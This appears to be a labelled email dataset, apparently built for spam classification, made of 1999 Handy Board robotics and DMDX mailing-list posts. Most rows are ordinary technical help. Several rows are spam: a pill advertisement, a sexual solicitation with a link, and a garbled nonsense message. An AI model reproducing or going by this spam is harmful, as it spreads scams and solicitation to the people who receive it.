jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,1 Christopher Biggs ,Phil ,"Thu, 02 Sep 1999 13:01:52 +1000",Re: Linux for the HandyBoard,"Phil moved upon the face of the 'Net and spake thusly: > Friends- > Is there any way to get a Linux kernel onto the HB? The HB is not within an order of magnitude of having enough memory, and is lacking other hardware needed for virtual memory. There is a project called ELKS (Embeddable Linux Kernel Subset) (STFW) aimed at producing a linux-like environment on embedded systems. If you really want Linux in a 'bot? Try http://wearables.www.media.mit.edu/projects/wearables/hands.html http://ryeham.ee.ryerson.ca/uClinux/ http://www.uclinux.org/simm/ http://www.cellcomputing.com/ You can compile and download to your handyboard from a Linux system, however. Works for me. cjb. -- Christopher Biggs -- chris@stallion.oz.au -- Stallion Technologies Australia. There's a bug in my mailer that mangles my sig but V guvax V'ir svkrq vg abj. Uneqyl jbegu qrpbqvat, jnf vg? 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If you don't want any more mail from us, please send an email to us please click the following link. apr123@pchome.com.tw?subject=Remove-060425am1000 Chang wen-sheng MEI LUNG HANDICRAFTS CO., LTD No.2, LANE 6 CHENG TE ROAD SEC.4, TAIPEI TAIWAN TEL:886-2-2886-4629 2885-8538 FAX:2886-8598 E-mail: mei926@ms32.hinet.net [2006/4/25 �U�� 03:19:02]",1,0 Chuck McManis ,"Phil , handyboard@media.mit.edu","Wed, 01 Sep 1999 20:59:09 -0700",Re: Linux for the HandyBoard,"No there is not. --Chuck At 09:49 AM 9/1/99 -0500, Phil wrote: >Friends- > Is there any way to get a Linux kernel onto the HB? > -phil > ",0,0 Sherrie Spangler ,handyboard@media.mit.edu,"Wed, 01 Sep 1999 22:14:54 -0500",u got sags under your eyes?,"see resistant a contraband may bert try tung it's shriek ",1,0 Jens Graf ,handyboard@media.mit.edu,"Tue, 31 Aug 1999 09:55:50 +0200","Re: ""Error Synchronizing with the board"" message","Hi, I had such a problem with another contollerboard. First the download was successful. The a started IC and it runs well. Suddenly the same message (""Error Synchronizing with the board"") was displayed on the monitor. My problem was a loose connection between the power-plug and the power-jack. If you use a battery to power the HB, check the connections at the battery pack. Hope that helps, Jens -----Urspr?gliche Nachricht----- Von: KwangJu, Lee An: Handyboard Gesendet: Dienstag, 31. August 1999 07:55 Betreff: ""Error Synchronizing with the board"" message > ""Error Synchronizing with the board"" message displayed. > > So I downloaded ""Pcode_hb.s19"" with hbdl.exe. > Immediately after, it seems to work well. > But in several minutes, the icwin program says > ""Error Synchronizing with the board"" again. > so I download again, HB works within some minutes, and > error. > > Does anybody have any advices? > Replacement of CPU -68hc11- with new one can be a solution? > > Thanks in advance. >",0,0 intgrad@AALAN.UA.EDU,Mike Westall ,"Thu, 02 Sep 1999 10:36:17 -0500",Re: (Hopefully) the LAST msg to fudan.edu,"Please complain to root@fudan.edu. We have requested to be taken off of the list. University of Alabama From: Mike Westall Date sent: Thu, 26 Aug 1999 22:11:36 -0400 (EDT) To: cslist@fudan.edu, rutgers@ces.clemson.edu Subject: (Hopefully) the LAST msg to fudan.edu > > I have tried to avoid contributing to this problem but it now > looks like it will go on forever if I don't inject one more > message. > > The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > > If you are interested in the ""why"" continue to read the message > I sent earlier. > > I plan to send Mr. Gao a message that he and any other students > who use this time-wasting spam attack that he can forget about > receiving materials from Clemson. > > >I have gotten two of these today. One from SUNY Buffalo and one > >from UCSC. (I also got an ""original"" from China) > > > >As near as I can tell here is what is happening: > >Fudan has a mail distributer that Mr. Gao sends a message to > >and the distributer sends the message to EVERY CS grad program > >in the good ole USofA (maybe multiple messages!) > > > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall > >at Clemson inadvertently > >sends their canned responses to cslist@fudan.edu rather than > >gyqin@fundan.edu... then their reply is reflected back to everybody > >on the original list and to make matters worse, Mr. Gao never > >sees it and so he may try again! > > > > >I don't think we will EVER stop this Chinese spam and so it would > >appear that any of us who respond should be REALLY careful not to > >respond to what looks like a list! > > > >Mike Westall > >Professor of Computer Science and > >Director of Graduate Affairs > >Dept. of Computer Science > >Clemson University > > > > > >>Delivered-To: m7-cslist@fudan.edu > >>Date: 25 Aug 1999 03:13:15 -0000 > >>From: Gao Yongqin > >>To: cslist@fudan.edu > >>Subject: Application Form Request > >> > >>To Who It May Concern, > >> > >>I am an applicant for the Ph. D. program of Computer Science of your > >>esteemed University with financial aid in Fall'2000. And now I am > >>graduate student of Fudan University,P.R. China.Can you do me a favor to > >>send the application form to the address below. > > MW > > > ________________ > Email Forwarding Service Brought To You By: http://www.bn3.com. > We can let you become anybody@anyplace.com. FREE, In 5 minutes! University of Alabama International Graduate Admissions",0,1 Matthew Finkbeiner ,DMDX ,"Thu, 02 Sep 1999 11:50:08 -0700",[DMDX],"Hello all, Has anyone had problems using DMDX to display videos? I am trying to write an item file that will play three videos simultaneously, but can't get it to work. The item +1 “ball&tree”, “path” , “manner” / ; gives a ""missing clock-on switch"" despite the help file saying that: ""When turning the clock on for responses at a given digital video frame with the switch the normal DMDX clock on switch should not be used as well"" BUT, adding the normal DMDX clock-on switch ( * ) like below +1 * “ball&tree”, “path” , “manner” / ; results in an item that only plays the last video entered in the item. I've rearranged these several times, and it will only play the last video in the item. Is this a bug, or am I writing it all wrong? thanks for any help Matthew Finkbeiner",0,0 Paul DaCosta ,Handyboard ,"Thu, 02 Sep 1999 12:02:30 -0400",2 IN 1," Paul DaCosta wrote: > HAS ANY ONE EVER INTEGRATED A HANDY BOARD WITH A RADIO CONTROLLED R/C BOARD. > MEANING THAT YOU COULD HAVE A 2 IN 1 ROBOT. > > MEANING: > > 1) IT WOULD BE AUTONOMOUS > 2)ALSO IT WOULD BE RADIO CONTROLLED > > WHICH WOULD BE EXCELLENT TO CHANGE FROM AUTOPILOT(AUTONOMOUS) AND MANUAL(RADIO > CONTROLLED) > > IN CASE THE ROBOT EVER GOT STUCK OR GONE CRAZY > > THIS IS A GENERAL QUESTION FOR YOU GUYS OUT THERE, HAS ANY ONE OUT THERE EVER > EXPERIMENTED THAT??? > > THANX! ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 1999 13:01:06 -0700",[DMDX] Re: ,"At 11:50 AM 9/2/99 -0700, you wrote: >""When turning the clock on for responses at a given digital video frame with >the switch the normal DMDX clock on switch should not be used as >well"" My guess is that you've got a really old version of DMDX, what you describe was indeed the case quite some time ago, however I'm pretty sure I fixed it. If you have an up to date version then something new is busted. Your other problems probably stem from using the comma operator with digital video (I don't think I've ever tested it), in that the attempt to start three streams simultaneously fails, try them with a short interval (1 tick should suffice) between them and no comma. I never really intended that this feature be used, it just happened to be a natural ability arising from the way I built the code. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""It's bad luck to be superstitious."" - Andrew W. Mathis",0,0 Phil ,"Jonathan Pennington , Handyboard list ","Thu, 02 Sep 1999 03:26:50 -0500",Re: Linux for the HandyBoard,"thanks I maily wanted it for building a cheap, viable Linux platform without having to delve into a somewhat-costly PC/104 board or the like... does anyone know of a cheap pc/104 or other small 486-based board available? thanks, --phil -----Original Message----- From: Jonathan Pennington To: Handyboard list Date: Wednesday, September 01, 1999 11:16 PM Subject: Re: Linux for the HandyBoard >Phil wrote: >> >> Friends- >> Is there any way to get a Linux kernel onto the HB? >> -phil > >Only way I can figure is to talk to the Linux uC project people at: > >http://ryeham.ee.ryerson.ca/uClinux/ >or >http://www.moretonbay.com/coldfire/linux-coldfire.html > >Though they don't have a working version for the 68HC11. The thing about >a microcontroller is that it's so different from an intel or alpha- >based microprocessor (really any straight microprocessor) that I think >they have to re-invent the wheels to do anything with it. I can't see it >being much better than the Pcode anyway, because running it would take a >lot more resources. Best to just use a Linux based computer, and tie >into that a bit more (eg. You could build a TK script to use IR for >active communications). Or get a cheap (right!) 486 Single Board >Computer (SBC) with a motor control circuit if you're really serious >about using Linux in a robot. I don't think we'll see a truely viable >Linux kernel for an 8 bit uC for a while, if we ever do. >-- >___________________________________________________________________________ >Jonathan Pennington | -Wannabe Geologist/Anthropologist >Charleston, SC | -Linux User and Advocate >Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" >root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" >--------------------------------------------------------------------------- - >",0,1 JoMarie Carpenter ,Mike Westall ,"Thu, 02 Sep 1999 16:46:28 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"A great big THANK YOU for explaining this insanity. Mr. Gao will certainly not receive any admissions material from us. **************** >I have tried to avoid contributing to this problem but it now >looks like it will go on forever if I don't inject one more >message. > >The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > >If you are interested in the ""why"" continue to read the message >I sent earlier. > >I plan to send Mr. Gao a message that he and any other students >who use this time-wasting spam attack that he can forget about >receiving materials from Clemson. > >>I have gotten two of these today. One from SUNY Buffalo and one >>from UCSC. (I also got an ""original"" from China) >> >>As near as I can tell here is what is happening: >>Fudan has a mail distributer that Mr. Gao sends a message to >>and the distributer sends the message to EVERY CS grad program >>in the good ole USofA (maybe multiple messages!) >> >>Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >>at Clemson inadvertently >>sends their canned responses to cslist@fudan.edu rather than >>gyqin@fundan.edu... then their reply is reflected back to everybody >>on the original list and to make matters worse, Mr. Gao never >>sees it and so he may try again! > >> >>I don't think we will EVER stop this Chinese spam and so it would >>appear that any of us who respond should be REALLY careful not to >>respond to what looks like a list! >> >>Mike Westall >>Professor of Computer Science and >>Director of Graduate Affairs >>Dept. of Computer Science >>Clemson University >> >> >>>Delivered-To: m7-cslist@fudan.edu >>>Date: 25 Aug 1999 03:13:15 -0000 >>>From: Gao Yongqin >>>To: cslist@fudan.edu >>>Subject: Application Form Request >>> >>>To Who It May Concern, >>> >>>I am an applicant for the Ph. D. program of Computer Science of your >>>esteemed University with financial aid in Fall'2000. And now I am graduate >>>student of Fudan University,P.R. China.Can you do me a favor to send >>>the application form to the address below. > >MW > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 Eric Noyau ,Phil ,"Thu, 02 Sep 1999 14:46:05 -0700",Re: Linux for the HandyBoard," A 486 Board + 486 + 4Meg of ram + 100 Meg drive + keyboard should cost around $20. Or free if you go dig in the right trash ;^). I don't know where you are but around here (San Francisco Bay area) shops like Weirdstuff (http://www.weirdstuff.com) are selling used Pentium motherboard for $5. Add a Pentium 90 for $8,16Meg of ram for $20 and a 200Meg Disk drive for another $20. Total cost: around $50 bucks, give or take $10. Price are climbing if you want a monitor/video card for it, monitors aren't cheap, even old ones. Or just try eBay (http://www.eBay.com). You can get a complete 486 notebook for less than $100 there. Happy shopping. -- Eric At 01:26 AM 9/2/99 , Phil wrote: >thanks > I maily wanted it for building a cheap, viable Linux platform without >having to delve into a somewhat-costly PC/104 board or the like... does >anyone know of a cheap pc/104 or other small 486-based board available? > thanks, > --phil ",0,1 Alex Stewart ,handyboard@media.mit.edu,"Thu, 02 Sep 1999 16:14:19 -0700",Any have a BS11 there willing to part with?,"Hi I know this is'nt a HB ques , but , Does anyone have a BS11 that theyed be willing to part with , or know somewere they can be uptained relitvely CHEAP Thanx -- Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Earl Boyer ,handyboard@media.mit.edu,"Thu, 02 Sep 1999 23:57:34 -0100",Re:,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. LG0T We give you the issue! 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",1,1 """KwangJu, Lee"" ",Handyboard ,"Fri, 03 Sep 1999 20:18:51 +0900","Re: ""Error Synchronizing with the board"" message","I've corrected this problem. In my case, it's because of power and connection. First, I replace the rechargeable battery with new one. And sometimes ICWIN.exe says ""Error Synch..."", I check the serial communication jacks, and just push again. Then the HB works well again. ----- Original Message ----- From: KwangJu, Lee To: Handyboard Sent: Tuesday, August 31, 1999 2:55 PM Subject: ""Error Synchronizing with the board"" message > > ""Error Synchronizing with the board"" message displayed. > > So I downloaded ""Pcode_hb.s19"" with hbdl.exe. > Immediately after, it seems to work well. > But in several minutes, the icwin program says > ""Error Synchronizing with the board"" again. > so I download again, HB works within some minutes, and > error. > > Does anybody have any advices? > Replacement of CPU -68hc11- with new one can be a solution? > > Thanks in advance. >",0,0 Paul DaCosta ,Handyboard ,"Fri, 03 Sep 1999 09:00:32 -0400",SOLDER,"WHAT'S THE BEST ""SIZE"" SOLDER TO USE WHEN SOLDERING A 28 GAUGE WIRE (MOTORS AND SENSORS) TO A MALE PIN! ",0,0 Russell Farnhill ,'Paul DaCosta' ,"Fri, 03 Sep 1999 15:25:49 +0100",RE: SOLDER,"Hi, I tend to use 22 SWG multi core solder for all my soldering jobs, and find it works for me. Russ.. -----Original Message----- From: Paul DaCosta [mailto:germano@voicenet.com] Sent: Friday, September 03, 1999 2:01 PM To: Handyboard Subject: SOLDER WHAT'S THE BEST ""SIZE"" SOLDER TO USE WHEN SOLDERING A 28 GAUGE WIRE (MOTORS AND SENSORS) TO A MALE PIN! ",0,0 Peter ,Eric Noyau ,"Fri, 03 Sep 1999 13:42:49 -0400",Re: Linux for the HandyBoard,"Where are you located? I have a bunch of 486 Digitals that I am trying to get rid of. If you are in the boston area you could come by and get a 486 and a 14"" monitor for 40 bucks. Or you could go to the MIT flea market and get about the same thing (or better). --Peter Eric Noyau wrote: > A 486 Board + 486 + 4Meg of ram + 100 Meg drive + keyboard should cost around $20. Or free if you go dig in the right trash ;^). > > I don't know where you are but around here (San Francisco Bay area) shops like Weirdstuff (http://www.weirdstuff.com) are selling used Pentium motherboard for $5. Add a Pentium 90 for $8,16Meg of ram for $20 and a 200Meg Disk drive for another $20. Total cost: around $50 bucks, give or take $10. > > Price are climbing if you want a monitor/video card for it, monitors aren't cheap, even old ones. > > Or just try eBay (http://www.eBay.com). You can get a complete 486 notebook for less than $100 there. > > Happy shopping. > > -- Eric > > At 01:26 AM 9/2/99 , Phil wrote: > >thanks > > I maily wanted it for building a cheap, viable Linux platform without > >having to delve into a somewhat-costly PC/104 board or the like... does > >anyone know of a cheap pc/104 or other small 486-based board available? > > thanks, > > --phil -- --Peter Eacmen eacmen@att.net ",0,1 Sexy lady ,handyboard@media.mit.edu,"Sat, 04 Sep 1999 12:31:47 -0700",Sexy Lady sucht was interessantes in Deutschland!,"Hallo, ich heiße Vicky McGreham Hallo, ich heiße Vicky McGreham. Ich bin Studentin, die kurz nach Deutschland gekommen ist und sucht nach einem Sex-Partner. Alles was ich brauche ist ein guter Mann, Sie müssen seriös und ehrlich sein. Lass mich bitte wissen, falls Du Lust hast mich kennen zu lernen.     Sie können meine Bilder aus meiner Webseite sehen: http://vickylonelybad.com   Nur seriöse Vorschlage bitte.   Kuss Vicky",1,1 John Vaughn ,"Phil , Jonathan Pennington , Handyboard list ","Fri, 03 Sep 1999 10:25:17 -0400",RE: Linux for the HandyBoard," thanks I maily wanted it for building a cheap, viable Linux platform without having to delve into a somewhat-costly PC/104 board or the like... does anyone know of a cheap pc/104 or other small 486-based board available? thanks, --phil Phil: Check out the Embedded PC section and the classified ads in the back of Circuit Cellar magazine. There are probably a dozen PC/104 and other x86 boards available at various prices. John Vaughn Hobart & William Smith Colleges Geneva, NY ",0,0 Conboy ,handyboard@media.mit.edu,"Sat, 04 Sep 1999 10:43:02 -0700",Parts List,"Do any of you have a more informative parts list? (Or did I miss it on the ftp site?) I am looking at buying the gear to build 25 handyboards for a High school project and need to find out if it would be cheaper to buy/ have the parts donated or purchase them in kit form. The maual has a parts list, but some of the components don't have the specs that I need. ie: monolithic capacitors- What capacity, tolerence, etc. Thanks in Advance, Tyler ",0,0 MAR ERICSON ,Conboy ,"Sat, 04 Sep 1999 17:07:24 -0400",Re: Parts List,"It would be cheaper to buy it in kit form. If you try to collect the parts it may wind up more expesive due to shipping...depending on how n\\many places you gotta go to...and also, availability, hunting the parts down, etc. This method is the worst. Unless you want the exercise of building the board, you should buy the assembled one. Many problems arise from building the board. Even if you have no problems, the time you take to build the board may be quite long. It depends on your experience with soldering etc. But if you're a board assembling pro, you have no need for the excercise. Each approach has its own merits. It depends on what you want to accomplish. Hope this helps. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Sat, 4 Sep 1999, Conboy wrote: > Do any of you have a more informative parts list? (Or did I miss it on the > ftp site?) I am looking at buying the gear to build 25 handyboards for a > High school project and need to find out if it would be cheaper to buy/ have > the parts donated or purchase them in kit form. The maual has a parts list, > but some of the components don't have the specs that I need. ie: > monolithic capacitors- What capacity, tolerence, etc. > > Thanks in Advance, > Tyler > > ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Sat, 04 Sep 1999 15:06:10 -0700",Servo Problem! ???,"Hi All The talrik bot running of a HB is doing serverly wierd things. I'vew tested these servo's on a old RC Reciver and they work fine , and my handy board can drive other servo s fine(not hacked thoe) Problem is when I give servo_a7_init(1); the servo hooked to toc3(pa5) starts to shutter while a7 does nothing , checked for shorts , no other software is running , when you give servo_a7_pulse = 7000; which should be moving forward , a7 does nothing and a5 starts up backwards ! ?? Any suggestions ? Thanx in advance Alex PS check wireing and its right , when you call servo_a5_init(1); it does same thing only reversed as above . About to pop caseing of theses servoes to see if there be a loose wire,. Ohh ya one more thing there running of a seprate 9v batt stepped down with diodes , wierd thing is is when you put your hand near the battery both servos start up forward, and with the HB on and your hand is near the batt they go backwards? Helllp Thanx again! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Conboy ,MAR ERICSON ,"Sat, 04 Sep 1999 15:57:46 -0700",Re: Parts List,"I should have phrased it better. I am a third year electrical engineering student and am trying to teach a class of twenty High school kids some basic electrical work in an after school project. I wanted them to get the experience of working with the design (soldering, assembly, diagnostics, etc). Since we will be using the boards in robots for a contest at the end of the year, I already have a lot of mail orders I have to make (Rat Shack doesn't cut it for sensors, etc). Usually the shipping price for ordering five parts is about the same as ordering fifty. I think that given prices that I have seen, I should be able to order the parts for the boards individually and cut about 25 percent off of the end cost. I also have tenative agreements with organizations like IEEE to donate some parts and loan us some tools. Since the cost of this project will solely be absorbed by the students, I feel compelled to save them as much money as possible. Thanks for your attention, Tyler ----- Original Message ----- From: MAR ERICSON To: Conboy Cc: Sent: Saturday, September 04, 1999 2:07 PM Subject: Re: Parts List > It would be cheaper to buy it in kit form. > > If you try to collect the parts it may wind up more expesive due to > shipping...depending on how n\\many places you gotta go to...and also, > availability, hunting the parts down, etc. This method is the worst. > > Unless you want the exercise of building the board, you should buy the > assembled one. Many problems arise from building the board. Even if you > have no problems, the time you take to build the board may be quite > long. It depends on your experience with soldering etc. But if you're a > board assembling pro, you have no need for the excercise. > > Each approach has its own merits. It depends on what you want to accomplish. > > Hope this helps. > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > On Sat, 4 Sep 1999, Conboy wrote: > > > Do any of you have a more informative parts list? (Or did I miss it on the > > ftp site?) I am looking at buying the gear to build 25 handyboards for a > > High school project and need to find out if it would be cheaper to buy/ have > > the parts donated or purchase them in kit form. The maual has a parts list, > > but some of the components don't have the specs that I need. ie: > > monolithic capacitors- What capacity, tolerence, etc. > > > > Thanks in Advance, > > Tyler > > > > >",0,0 Alex Stewart ,handyboard@media.mit.edu,"Sat, 04 Sep 1999 16:34:10 -0700",servo problem increased,"Me again Now when I give servo_a5 or a7_init(1); the other servo shutters and nothing happens , when you unhook the sevo your not trying to drive the one you are kicks up but you can olny get it in varying speeds in one direction. Is it possible that the chip or the part generating the PWM signal is fried? all other aspects of the board work, just not the servos? Thanxx Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Washbasins O. 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If you have time and the resources to do it on your own and, someone to ask question of, this can be a lot of fun. Good luck with what ever route you take. Greg H froAt 05:07 PM 9/4/99 -0400, MAR ERICSON wrote: >It would be cheaper to buy it in kit form. > >If you try to collect the parts it may wind up more expesive due to >shipping...depending on how n\\many places you gotta go to...and also, >availability, hunting the parts down, etc. This method is the worst. > >Unless you want the exercise of building the board, you should buy the >assembled one. Many problems arise from building the board. Even if you >have no problems, the time you take to build the board may be quite >long. It depends on your experience with soldering etc. But if you're a >board assembling pro, you have no need for the excercise. > >Each approach has its own merits. It depends on what you want to accomplish. > >Hope this helps. > >----------- >ericson mar >Robotics Consultant >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > >On Sat, 4 Sep 1999, Conboy wrote: > >> Do any of you have a more informative parts list? (Or did I miss it on the >> ftp site?) I am looking at buying the gear to build 25 handyboards for a >> High school project and need to find out if it would be cheaper to buy/ have >> the parts donated or purchase them in kit form. The maual has a parts list, >> but some of the components don't have the specs that I need. ie: >> monolithic capacitors- What capacity, tolerence, etc. >> >> Thanks in Advance, >> Tyler >> >> ",0,0 Terry Gathright ,"Alex Stewart , handyboard@media.mit.edu","Sun, 05 Sep 1999 11:29:05 -0500",Re: servo problem increased,"Alex, My servos shutters when I first hooked them up but it was because the values were out of range. My servos work well in a range of 700 to 3800. Bye, Terry-----Original Message----- From: Alex Stewart To: handyboard@media.mit.edu Date: Saturday, September 04, 1999 6:41 PM Subject: servo problem increased >Me again > > Now when I give servo_a5 or a7_init(1); the other servo shutters and >nothing happens , when you unhook the sevo your not trying to drive the one >you are kicks up but you can olny get it in varying speeds in one direction. >Is it possible that the chip or the part generating the PWM signal is fried? >all other aspects of the board work, just not the servos? > >Thanxx > >Alex > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com >",0,1 Alex Stewart ,handyboard@media.mit.edu,"Sun, 05 Sep 1999 10:09:38 -0700",Thank you,"Turns out I just needed a common ground between servos and HB Thanx all! :) Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Javaid Iqbal ,Handy Board ,"Mon, 06 Sep 1999 15:51:28 +1000",Use of GP2DO2,"Hi all, I am using two GP2DO2 on Rug Warrior. Sensors are giving me very stable reading when motors are not running, but when motors are running the readings start jumping around. I am running the motors but the robot is static as I have placed it on piece of wood. While the robot is static, the readings from the sensors are not same for static object. Some time I get a difference of 50 to 100. Can the running of motors interfere the readings from sensors. If yes what is the solution. If not what can be the others reasons. Thanks Kind Regards, Javaid Iqbal ",0,0 """Wijngaarde, Ronald"" ","'Javaid Iqbal' , Handy Board ","Mon, 06 Sep 1999 12:28:16 +0200",RE: Use of GP2DO2,"The problem could be in the power circuitry. Are the motors powered from a separate supply ? You could try placing some capacitors between the sensor's power connectors. Ronald -----Original Message----- From: Javaid Iqbal [mailto:javaid@student.unsw.edu.au] Sent: maandag 6 september 1999 7:51 To: Handy Board Subject: Use of GP2DO2 Hi all, I am using two GP2DO2 on Rug Warrior. Sensors are giving me very stable reading when motors are not running, but when motors are running the readings start jumping around. I am running the motors but the robot is static as I have placed it on piece of wood. While the robot is static, the readings from the sensors are not same for static object. Some time I get a difference of 50 to 100. Can the running of motors interfere the readings from sensors. If yes what is the solution. If not what can be the others reasons. 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I wanted a good RC car to hack. The LEGOs aren't sufficient. I don't need speed at all, actually I'd rather it be slow but I can always gear it down. But I would like servo controlled steering. Has anyone bought an RC car from Radio Shack or something that works well with the HB? If not where how could I build a good sturdy base that has servo-controlled steering? Also is there a way to have 2 Polaroid Ultra Sonic sensors connected to one HB? Has anyone ever connected a regular household smoke detector to the HB? How would you do it? What I want to do is have smoke detectors all over my house and have them connected to an HB so that it can tell another HB what ""sector"" the fire is in. And somehow the robot is supposed to find the room and put out the fire. I'm not sure how yet. Thanks in advance (TIA) --Peter Eacmen Boston Latin School ",0,0 """Mar, Ericson"" ","'Gregory Hayward' , handyboard@media.mit.edu","Tue, 07 Sep 1999 15:34:30 +0100",RE: Parts List,"I believe The Robot Store sells the kit for $170...but not including the Expansion board. Check the HB site for the site. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: Gregory Hayward [SMTP:ghayward@cisco.com] > Sent: Sunday, September 05, 1999 9:57 AM > To: handyboard@media.mit.edu > Subject: Re: Parts List > > I have just helped 12 people build up the handy board with expansion board > at a cost of 165 each. But I live in the Heart of Silicon Valley. I was > able to get board and all but five components locally. Those were the > 68HC11, LCD, 470 cap, inductor and the IR sensors. > The boards were from Douglas , a local company and very helpful. > The up side of building the board is that you get a chance to really > understand what all the components do, The down side is you get to find > pout what all the components do during debug. > > If you have time and the resources to do it on your own and, someone to > ask question of, this can be a lot of fun. > Good luck with what ever route you take. > Greg H > > froAt 05:07 PM 9/4/99 -0400, MAR ERICSON wrote: > >It would be cheaper to buy it in kit form. > > > >If you try to collect the parts it may wind up more expesive due to > >shipping...depending on how n\\many places you gotta go to...and also, > >availability, hunting the parts down, etc. This method is the worst. > > > >Unless you want the exercise of building the board, you should buy the > >assembled one. Many problems arise from building the board. Even if you > >have no problems, the time you take to build the board may be quite > >long. It depends on your experience with soldering etc. But if you're a > > >board assembling pro, you have no need for the excercise. > > > >Each approach has its own merits. It depends on what you want to > accomplish. > > > >Hope this helps. > > > >----------- > >ericson mar > >Robotics Consultant > >mar@cooper.edu > >(212)353-4356 > > > >Department of Mechanical Engineering > >The Cooper Union for the Advancement of Science and Art > >------------------------------------------------------- > > > >On Sat, 4 Sep 1999, Conboy wrote: > > > >> Do any of you have a more informative parts list? (Or did I miss it on > the > >> ftp site?) I am looking at buying the gear to build 25 handyboards for > a > >> High school project and need to find out if it would be cheaper to buy/ > have > >> the parts donated or purchase them in kit form. The maual has a parts > list, > >> but some of the components don't have the specs that I need. ie: > >> monolithic capacitors- What capacity, tolerence, etc. > >> > >> Thanks in Advance, > >> Tyler > >> > >> ",0,0 Stephan Adelsberger ,Handyboard list ,"Tue, 07 Sep 1999 06:17:03 +0200",exp.bord analog routed trough 5&6? ,"Unfortunately I ruined my analog ports 0-3. Is it posible to route the expansionboard analog ports through port 5&6 of the handyboard instead of 0&1?? What do I have to do?? thank you Stephan ",0,0 Sean Verret ,handyboard@media.mit.edu,"Tue, 07 Sep 1999 10:16:08 -0600",Handy Board help page,"Check out this link... http://www.ee.ualberta.ca/~verret/ee401/ ",0,1 Jose Luis ,"Peter , HandyBoard ","Mon, 07 Jan 1980 15:31:21 -0300",RE: A good toy to hack for the HB?--TIA,"Hi, I have seen a M1 Tank from Hobbico: http://www.hobbico.com/cars/hcac0001.html It's at sell at www.towerhobbies.com at U$S 120. some data : Length: 18"" (457.2mm) Width: 8"" (203.2mm) Height: 6"" (154mm) Width of Tread: 1-1/4"" (32mm) Length of Turret: 6-3/8"" (162mm) Scale: 1/20 Bye, Jose Luis ----- Original Message ----- From: Peter To: HandyBoard Sent: Monday, September 06, 1999 8:35 PM Subject: A good toy to hack for the HB?--TIA > Hello all, > > The school year's starting and I need to commence my annual science > project. > > I wanted a good RC car to hack. The LEGOs aren't sufficient. I don't > need speed at all, actually I'd rather it be slow but I can always gear > it down. But I would like servo controlled steering. Has anyone bought > an RC car from Radio Shack or something that works well with the HB? If > not where how could I build a good sturdy base that has servo-controlled > steering? > > > Also is there a way to have 2 Polaroid Ultra Sonic sensors connected to > one HB? > > Has anyone ever connected a regular household smoke detector to the HB? > How would you do it? > > What I want to do is have smoke detectors all over my house and have > them connected to an HB so that it can tell another HB what ""sector"" the > fire is in. And somehow the robot is supposed to find the room and put > out the fire. I'm not sure how yet. > > Thanks in advance (TIA) > > --Peter Eacmen > Boston Latin School >",0,1 Stephan Adelsberger ,Handyboard list ,"Tue, 07 Sep 1999 09:47:16 +0200",bad GP2D02 link,"What's wrong with Barry Brouillette GP2D02 Home page?? The link: http://reality.sgi.com/cgi-bin/emp_err.pl/barry_detroit/GP2D02_1.html from the main Handybord Page won't work. I get an error message: employees is invalid. Has anyone the correct link or saved the pages&icb local? thank you ",0,1 Chuck McManis ,"Jose Luis , Peter , HandyBoard ","Tue, 07 Sep 1999 13:20:05 -0700",RE: A good toy to hack for the HB?--TIA,"http://www.damark.com/shopping/damark/LEVEL1/LEVEL2/LEVEL3/bud/B88991652396. html This is from Damark, $60 for the same tank. (If the URL doesn't work go to www.damark.com and search for 'tank') --Chuck McManis At 03:31 PM 1/7/80 -0300, Jose Luis wrote: >Hi, > >I have seen a M1 Tank from Hobbico: > >http://www.hobbico.com/cars/hcac0001.html > >It's at sell at www.towerhobbies.com at U$S 120. > >some data : > > Length: 18"" (457.2mm) Width: 8"" (203.2mm) > Height: 6"" (154mm) Width of Tread: 1-1/4"" (32mm) > Length of Turret: 6-3/8"" (162mm) Scale: 1/20 > > >Bye, > >Jose Luis > >----- Original Message ----- >From: Peter >To: HandyBoard >Sent: Monday, September 06, 1999 8:35 PM >Subject: A good toy to hack for the HB?--TIA > > >> Hello all, >> >> The school year's starting and I need to commence my annual science >> project. >> >> I wanted a good RC car to hack. The LEGOs aren't sufficient. I don't >> need speed at all, actually I'd rather it be slow but I can always gear >> it down. But I would like servo controlled steering. Has anyone bought >> an RC car from Radio Shack or something that works well with the HB? If >> not where how could I build a good sturdy base that has servo-controlled >> steering? >> >> >> Also is there a way to have 2 Polaroid Ultra Sonic sensors connected to >> one HB? >> >> Has anyone ever connected a regular household smoke detector to the HB? >> How would you do it? >> >> What I want to do is have smoke detectors all over my house and have >> them 